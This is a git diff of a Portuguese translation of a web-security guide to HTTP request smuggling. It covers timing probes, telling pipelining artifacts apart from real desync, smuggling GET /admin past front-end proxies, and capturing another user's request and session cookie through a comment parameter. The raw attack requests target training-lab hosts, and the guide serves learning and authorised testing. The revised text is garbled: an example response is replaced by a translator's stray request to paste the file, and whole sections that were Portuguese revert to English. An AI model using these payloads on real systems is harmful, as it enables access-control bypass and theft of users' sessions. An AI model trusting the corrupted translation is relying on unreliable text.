Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançado usando técnicas de temporização, que dependem da observação de quanto tempo leva para o servidor responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser feito usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a requisições manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
||||||
|
|
||||||
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
|
### Encontrando vulnerabilidades CL.TE usando técnicas de temporização
|
||||||
|
|
||||||
- **Método:**
|
- **Método:**
|
||||||
|
|
||||||
- Envie uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end aguarde dados adicionais.
|
- Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -223,18 +225,18 @@ A
|
|||||||
```
|
```
|
||||||
|
|
||||||
- **Observação:**
|
- **Observação:**
|
||||||
- O servidor front-end processa a solicitação com base em `Content-Length` e corta a mensagem prematuramente.
|
- O servidor front-end processa a requisição com base em `Content-Length` e corta a mensagem prematuramente.
|
||||||
- O servidor back-end, esperando uma mensagem em chunks, aguarda o próximo chunk que nunca chega, causando um atraso.
|
- O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
|
||||||
|
|
||||||
- **Indicadores:**
|
- **Indicadores:**
|
||||||
- Timeouts ou longos atrasos na resposta.
|
- Timeouts ou atrasos longos na resposta.
|
||||||
- Recebendo um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
|
- Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
|
||||||
|
|
||||||
### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização
|
### Encontrando vulnerabilidades TE.CL usando técnicas de temporização
|
||||||
|
|
||||||
- **Método:**
|
- **Método:**
|
||||||
|
|
||||||
- Envie uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end aguarde dados adicionais.
|
- Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -249,41 +251,41 @@ X
|
|||||||
```
|
```
|
||||||
|
|
||||||
- **Observação:**
|
- **Observação:**
|
||||||
- O servidor front-end processa a solicitação com base em `Transfer-Encoding` e encaminha toda a mensagem.
|
- O servidor front-end processa a requisição com base em `Transfer-Encoding` e encaminha a mensagem inteira.
|
||||||
- O servidor back-end, esperando uma mensagem com base em `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
|
- O servidor back-end, esperando uma mensagem baseada em `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
|
||||||
|
|
||||||
### Outros Métodos para Encontrar Vulnerabilidades
|
### Outros métodos para encontrar vulnerabilidades
|
||||||
|
|
||||||
- **Análise de Resposta Diferencial:**
|
- **Análise de Resposta Diferencial:**
|
||||||
- Envie versões ligeiramente variadas de uma solicitação e observe se as respostas do servidor diferem de uma maneira inesperada, indicando uma discrepância de análise.
|
- Envie versões levemente diferentes de uma requisição e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância de parsing.
|
||||||
- **Usando Ferramentas Automatizadas:**
|
- **Uso de Ferramentas Automatizadas:**
|
||||||
- Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
|
- Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de requisições ambíguas e analisando as respostas.
|
||||||
- **Testes de Variação de Content-Length:**
|
- **Testes de variação de Content-Length:**
|
||||||
- Envie solicitações com valores de `Content-Length` variados que não estão alinhados com o comprimento real do conteúdo e observe como o servidor lida com tais discrepâncias.
|
- Envie requisições com valores de `Content-Length` variados que não correspondem ao comprimento real do conteúdo e observe como o servidor lida com tais discrepâncias.
|
||||||
- **Testes de Variação de Transfer-Encoding:**
|
- **Testes de variação de Transfer-Encoding:**
|
||||||
- Envie solicitações com cabeçalhos `Transfer-Encoding` ofuscados ou malformados e monitore como os servidores front-end e back-end respondem de maneira diferente a tais manipulações.
|
- Envie requisições com cabeçalhos `Transfer-Encoding` ofuscados ou malformados e monitore como front-end e back-end respondem de maneira diferente a tais manipulações.
|
||||||
|
|
||||||
### Teste de Vulnerabilidade de HTTP Request Smuggling
|
### Teste de vulnerabilidade de HTTP Request Smuggling
|
||||||
|
|
||||||
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método simples é tentar envenenar suas solicitações, por exemplo, fazendo uma solicitação para `/` resultar em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](#basic-examples) demonstram como envenenar a solicitação de um cliente para provocar uma resposta 404, apesar de o cliente estar tentando acessar um recurso diferente.
|
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as requisições do cliente podem ser manipuladas. Um método simples é tentar poisoning suas requisições, por exemplo, fazendo com que uma requisição para `/` retorne um 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em [Basic Examples](#basic-examples) demonstram como poisonar a requisição de um cliente para provocar uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
|
||||||
|
|
||||||
**Considerações Chave**
|
Considerações-chave
|
||||||
|
|
||||||
Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:
|
Ao testar request smuggling interferindo em outras requisições, tenha em mente:
|
||||||
|
|
||||||
- **Conexões de Rede Distintas:** As solicitações "ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
- **Conexões de Rede distintas:** As requisições "attack" e "normal" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
||||||
- **URL e Parâmetros Consistentes:** Tente usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um pré-requisito para um ataque bem-sucedido.
|
- **URL e parâmetros consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as requisições. Aplicações modernas frequentemente roteiam requisições para servidores back-end específicos com base na URL e parâmetros. Igualá-los aumenta a probabilidade de ambas as requisições serem processadas pelo mesmo servidor, pré-requisito para um ataque bem-sucedido.
|
||||||
- **Condições de Temporização e Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "ataque", compete contra outras solicitações concorrentes da aplicação. Portanto, envie a solicitação "normal" imediatamente após a solicitação "ataque". Aplicações ocupadas podem exigir várias tentativas para confirmação conclusiva da vulnerabilidade.
|
- **Tempos e condições de corrida:** A requisição "normal", destinada a detectar interferência da requisição "attack", compete com outras requisições concorrentes da aplicação. Portanto, envie a requisição "normal" imediatamente após a requisição "attack". Aplicações ocupadas podem exigir múltiplas tentativas para confirmação conclusiva da vulnerabilidade.
|
||||||
- **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
|
- **Desafios de balanceamento de carga:** Servidores front-end atuando como load balancers podem distribuir requisições por diversos sistemas back-end. Se as requisições "attack" e "normal" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de load balancing pode requerer várias tentativas para confirmar uma vulnerabilidade.
|
||||||
- **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
|
- **Impacto não intencional em usuários:** Se seu ataque impactar involuntariamente a requisição de outro usuário (não a requisição "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
|
||||||
|
|
||||||
## Distinguindo artefatos de pipelining HTTP/1.1 vs verdadeiro request smuggling
|
## Distinguir artefatos de pipelining do HTTP/1.1 vs request smuggling genuíno
|
||||||
|
|
||||||
O reuso de conexão (keep-alive) e o pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam várias solicitações no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de verdadeiros desincronizações do lado do servidor.
|
Connection reuse (keep-alive) e pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam múltiplas requisições no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de um desync real do lado do servidor.
|
||||||
|
|
||||||
### Por que o pipelining cria falsos positivos clássicos
|
### Por que o pipelining cria falsos positivos clássicos
|
||||||
|
|
||||||
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena solicitações e respostas no mesmo fluxo. No pipelining, o cliente envia várias solicitações uma após a outra e depende de respostas em ordem. Um falso positivo comum é reenviar uma carga malformada no estilo CL.0 duas vezes em uma única conexão:
|
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requisições e respostas no mesmo fluxo. No pipelining, o cliente envia múltiplas requisições sequenciais e depende de respostas na mesma ordem. Um falso-positivo comum é reenviar um payload malformado no estilo CL.0 duas vezes em uma única conexão:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: hackxor.net
|
Host: hackxor.net
|
||||||
@ -292,7 +294,7 @@ Content_Length: 47
|
|||||||
GET /robots.txt HTTP/1.1
|
GET /robots.txt HTTP/1.1
|
||||||
X: Y
|
X: Y
|
||||||
```
|
```
|
||||||
As respostas podem parecer:
|
Por favor envie o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que deseja traduzir (cole o texto aqui).
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@ -306,7 +308,7 @@ Content-Type: text/plain
|
|||||||
User-agent: *
|
User-agent: *
|
||||||
Disallow: /settings
|
Disallow: /settings
|
||||||
```
|
```
|
||||||
Se o servidor ignorou o `Content_Length` malformado, não há desincronização FE↔BE. Com reutilização, seu cliente realmente enviou este fluxo de bytes, que o servidor analisou como duas solicitações independentes:
|
Se o servidor ignorou o malformado `Content_Length`, não há desync FE↔BE. Com reuse, seu cliente na verdade enviou este byte-stream, que o servidor interpretou como duas requisições independentes:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: hackxor.net
|
Host: hackxor.net
|
||||||
@ -320,78 +322,78 @@ Content_Length: 47
|
|||||||
GET /robots.txt HTTP/1.1
|
GET /robots.txt HTTP/1.1
|
||||||
X: Y
|
X: Y
|
||||||
```
|
```
|
||||||
Impacto: nenhum. Você apenas desincronizou seu cliente do enquadramento do servidor.
|
Impacto: nenhum. Você apenas desynced seu cliente do enquadramento do servidor.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Módulos do Burp que dependem de reutilização/pipelining: Turbo Intruder com `requestsPerConnection>1`, Intruder com "reutilização de conexão HTTP/1", Repeater "Enviar grupo em sequência (conexão única)" ou "Habilitar reutilização de conexão".
|
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||||
|
|
||||||
### Testes de litmus: pipelining ou desincronização real?
|
### Litmus tests: pipelining or real desync?
|
||||||
|
|
||||||
1. Desative a reutilização e reteste
|
1. Disable reuse and re-test
|
||||||
- No Burp Intruder/Repeater, desative a reutilização HTTP/1 e evite "Enviar grupo em sequência".
|
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||||
- No Turbo Intruder, defina `requestsPerConnection=1` e `pipeline=False`.
|
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
|
||||||
- Se o comportamento desaparecer, provavelmente foi pipelining do lado do cliente, a menos que você esteja lidando com alvos bloqueados por conexão/estaduais ou desincronização do lado do cliente.
|
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
|
||||||
2. Verificação de resposta aninhada HTTP/2
|
2. HTTP/2 nested-response check
|
||||||
- Envie uma solicitação HTTP/2. Se o corpo da resposta contiver uma resposta HTTP/1 aninhada completa, você provou um bug de análise/desincronização no backend em vez de um artefato puro do cliente.
|
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
|
||||||
3. Sonda de solicitações parciais para front-ends bloqueados por conexão
|
3. Partial-requests probe for connection-locked front-ends
|
||||||
- Alguns FEs só reutilizam a conexão BE upstream se o cliente reutilizar a sua. Use solicitações parciais para detectar o comportamento do FE que espelha a reutilização do cliente.
|
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
|
||||||
- Veja PortSwigger "Browser‑Powered Desync Attacks" para a técnica bloqueada por conexão.
|
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
|
||||||
4. Sondas de estado
|
4. State probes
|
||||||
- Procure diferenças entre a primeira e as solicitações subsequentes na mesma conexão TCP (roteamento/validação da primeira solicitação).
|
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
|
||||||
- O Burp "HTTP Request Smuggler" inclui uma sonda de estado de conexão que automatiza isso.
|
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
|
||||||
5. Visualize o fio
|
5. Visualize the wire
|
||||||
- Use a extensão Burp "HTTP Hacker" para inspecionar a concatenação e o enquadramento de mensagens diretamente enquanto experimenta com reutilização e solicitações parciais.
|
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
|
||||||
|
|
||||||
### Solicitação de smuggling bloqueada por conexão (reutilização necessária)
|
### Connection‑locked request smuggling (reuse-required)
|
||||||
|
|
||||||
Alguns front-ends só reutilizam a conexão upstream quando o cliente reutiliza a sua. O smuggling real existe, mas é condicional à reutilização do lado do cliente. Para distinguir e provar o impacto:
|
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
|
||||||
- Prove o bug do lado do servidor
|
- Prove the server-side bug
|
||||||
- Use a verificação de resposta aninhada HTTP/2, ou
|
- Use the HTTP/2 nested-response check, or
|
||||||
- Use solicitações parciais para mostrar que o FE só reutiliza upstream quando o cliente o faz.
|
- Use partial-requests to show the FE only reuses upstream when the client does.
|
||||||
- Mostre impacto real, mesmo que o abuso direto de socket entre usuários esteja bloqueado:
|
- Show real impact even if direct cross-user socket abuse is blocked:
|
||||||
- Envenenamento de cache: envenene caches compartilhados via a desincronização para que as respostas afetem outros usuários.
|
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||||
- Divulgação de cabeçalho interno: reflita cabeçalhos injetados pelo FE (por exemplo, cabeçalhos de autenticação/confiança) e pivote para contornar a autenticação.
|
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||||
- Contornar controles do FE: smuggle caminhos/métodos restritos além do front-end.
|
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||||
- Abuso de cabeçalho de host: combine com peculiaridades de roteamento de host para pivotar para vhosts internos.
|
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
|
||||||
- Fluxo de trabalho do operador
|
- Operator workflow
|
||||||
- Reproduza com reutilização controlada (Turbo Intruder `requestsPerConnection=2`, ou grupo de guia Burp Repeater → "Enviar grupo em sequência (conexão única)").
|
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||||
- Em seguida, encadeie para primitivas de envenenamento de cache/divulgação de cabeçalho/contorno de controle e demonstre impacto entre usuários ou de autorização.
|
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
|
||||||
|
|
||||||
> Veja também ataques de estado de conexão, que estão intimamente relacionados, mas não são tecnicamente smuggling:
|
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||||
>
|
>
|
||||||
>{{#ref}}
|
>{{#ref}}
|
||||||
>../http-connection-request-smuggling.md
|
>../http-connection-request-smuggling.md
|
||||||
>{{#endref}}
|
>{{#endref}}
|
||||||
|
|
||||||
### Restrições de desincronização do lado do cliente
|
### Client‑side desync constraints
|
||||||
|
|
||||||
Se você está mirando desincronização do lado do cliente/poder do navegador, a solicitação maliciosa deve ser enviável por um navegador cross-origin. Truques de ofuscação de cabeçalho não funcionarão. Concentre-se em primitivas acessíveis via navegação/fetch e, em seguida, pivote para envenenamento de cache, divulgação de cabeçalho ou contorno de controle do front-end onde componentes downstream refletem ou armazenam em cache respostas.
|
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
|
||||||
|
|
||||||
Para contexto e fluxos de trabalho de ponta a ponta:
|
For background and end-to-end workflows:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browser-http-request-smuggling.md
|
browser-http-request-smuggling.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Ferramentas para ajudar a decidir
|
### Tooling to help decide
|
||||||
|
|
||||||
- HTTP Hacker (Burp BApp Store): expõe comportamento HTTP de baixo nível e concatenação de socket.
|
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
|
||||||
- "Smuggling ou pipelining?" Ação Personalizada do Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||||
- Turbo Intruder: controle preciso sobre a reutilização de conexão via `requestsPerConnection`.
|
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
|
||||||
- Burp HTTP Request Smuggler: inclui uma sonda de estado de conexão para detectar roteamento/validação da primeira solicitação.
|
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Trate efeitos apenas de reutilização como não problemas, a menos que você possa provar desincronização do lado do servidor e anexar impacto concreto (artefato de cache envenenado, cabeçalho interno vazado permitindo contorno de privilégio, controle do FE contornado, etc.).
|
> Trate efeitos apenas por reuse como não-problemas a menos que você possa provar server-side desync e anexar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||||
|
|
||||||
## Abusando do HTTP Request Smuggling
|
## Abusing HTTP Request Smuggling
|
||||||
|
|
||||||
### Contornando a Segurança do Front-End via HTTP Request Smuggling
|
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||||
|
|
||||||
Às vezes, proxies de front-end impõem medidas de segurança, examinando solicitações de entrada. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy de front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações embutidas dentro de uma solicitação HTTP smuggled, deixando uma brecha para contornar essas restrições.
|
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
|
||||||
|
|
||||||
Considere os seguintes exemplos que ilustram como o HTTP Request Smuggling pode ser usado para contornar controles de segurança do front-end, especificamente visando o caminho `/admin`, que é tipicamente protegido pelo proxy de front-end:
|
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||||
|
|
||||||
**Exemplo CL.TE**
|
**CL.TE Example**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: [redacted].web-security-academy.net
|
Host: [redacted].web-security-academy.net
|
||||||
@ -408,7 +410,7 @@ Content-Length: 10
|
|||||||
|
|
||||||
x=
|
x=
|
||||||
```
|
```
|
||||||
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a solicitação inicial, enquanto a solicitação embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a solicitação `POST` inicial, mas falha em inspecionar a solicitação embutida `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
|
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy front-end processa a requisição `POST` inicial, mas não inspeciona a requisição embutida `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
|
||||||
|
|
||||||
**TE.CL Exemplo**
|
**TE.CL Exemplo**
|
||||||
```
|
```
|
||||||
@ -426,13 +428,13 @@ a=x
|
|||||||
0
|
0
|
||||||
|
|
||||||
```
|
```
|
||||||
Por outro lado, no ataque TE.CL, a requisição inicial `POST` utiliza `Transfer-Encoding: chunked`, e a requisição embutida subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a requisição `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
Por outro lado, no ataque TE.CL, a requisição inicial `POST` usa `Transfer-Encoding: chunked`, e a requisição embutida subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o front-end proxy ignora a requisição `GET /admin` injetada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
||||||
|
|
||||||
### Revelando reescrita de requisições de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### Revelando reescrita de requisições no front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
As aplicações frequentemente utilizam um **servidor de front-end** para modificar requisições recebidas antes de passá-las para o servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para relatar o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **contornar proteções** ou **descobrir informações ou endpoints ocultos**.
|
As aplicações frequentemente empregam um **front-end server** para modificar requisições de entrada antes de encaminhá-las ao back-end server. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP of the client>`, para repassar o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar formas de **contornar proteções** ou **descobrir informações ou endpoints ocultos**.
|
||||||
|
|
||||||
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, elabore uma requisição, usando este parâmetro por último, semelhante ao seguinte:
|
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, construa uma requisição, usando esse parâmetro por último, semelhante à seguinte:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
@ -449,19 +451,19 @@ Content-Length: 100
|
|||||||
|
|
||||||
search=
|
search=
|
||||||
```
|
```
|
||||||
Nesta estrutura, os componentes subsequentes da solicitação são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
|
Nesta estrutura, componentes subsequentes da requisição são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da requisição subsequente.
|
||||||
|
|
||||||
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode causar um erro na solicitação.
|
É importante alinhar o cabeçalho `Content-Length` da requisição aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementá-lo gradualmente é recomendável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a requisição gere um erro.
|
||||||
|
|
||||||
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de busca.
|
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a requisição deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro `search`.
|
||||||
|
|
||||||
Este método serve principalmente para entender as modificações na solicitação feitas pelo proxy do front-end, essencialmente realizando uma investigação autodirigida.
|
Este método serve principalmente para entender as modificações da requisição feitas pelo front-end proxy, essencialmente realizando uma investigação autodirigida.
|
||||||
|
|
||||||
### Capturando as solicitações de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||||
|
|
||||||
É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser realizado:
|
É viável capturar as requisições do próximo usuário anexando uma requisição específica como valor de um parâmetro durante uma operação POST. Eis como isso pode ser realizado:
|
||||||
|
|
||||||
Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente:
|
Ao anexar a seguinte requisição como valor de um parâmetro, você pode armazenar a requisição do cliente subsequente:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||||
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||||||
|
|
||||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||||
```
|
```
|
||||||
Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo na seção de comentários de um post em uma página acessível publicamente. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.
|
Neste cenário, o **comment parameter** destina-se a armazenar o conteúdo da seção de comentários de um post em uma página publicamente acessível. Consequentemente, o conteúdo da requisição subsequente aparecerá como um comentário.
|
||||||
|
|
||||||
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima parará no primeiro `&`, que pode até fazer parte da string de consulta.
|
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na requisição smuggled. Para submissões de formulário URL-encoded, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da requisição do usuário vítima irá parar no primeiro `&`, que pode até fazer parte da query string.
|
||||||
|
|
||||||
Além disso, vale a pena notar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de busca.
|
Além disso, vale notar que essa abordagem também é viável com uma TE.CL vulnerability. Nesses casos, a requisição deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão adicionados ao parâmetro search.
|
||||||
|
|
||||||
### Usando o HTTP request smuggling para explorar XSS refletido
|
### Usando HTTP request smuggling para explorar Reflected XSS
|
||||||
|
|
||||||
HTTP Request Smuggling pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
|
HTTP Request Smuggling pode ser aproveitado para explorar páginas web vulneráveis a **Reflected XSS**, oferecendo vantagens significativas:
|
||||||
|
|
||||||
- A interação com os usuários-alvo **não é necessária**.
|
- A interação com os usuários-alvo **não é necessária**.
|
||||||
- Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como cabeçalhos de solicitação HTTP.
|
- Permite a exploração de XSS em partes da requisição que são **normalmente inalcançáveis**, como os headers da requisição HTTP.
|
||||||
|
|
||||||
Em cenários onde um site é suscetível a XSS Refletido através do cabeçalho User-Agent, a seguinte carga útil demonstra como explorar essa vulnerabilidade:
|
Em cenários onde um site é suscetível a Reflected XSS através do User-Agent header, o payload a seguir demonstra como explorar essa vulnerabilidade:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
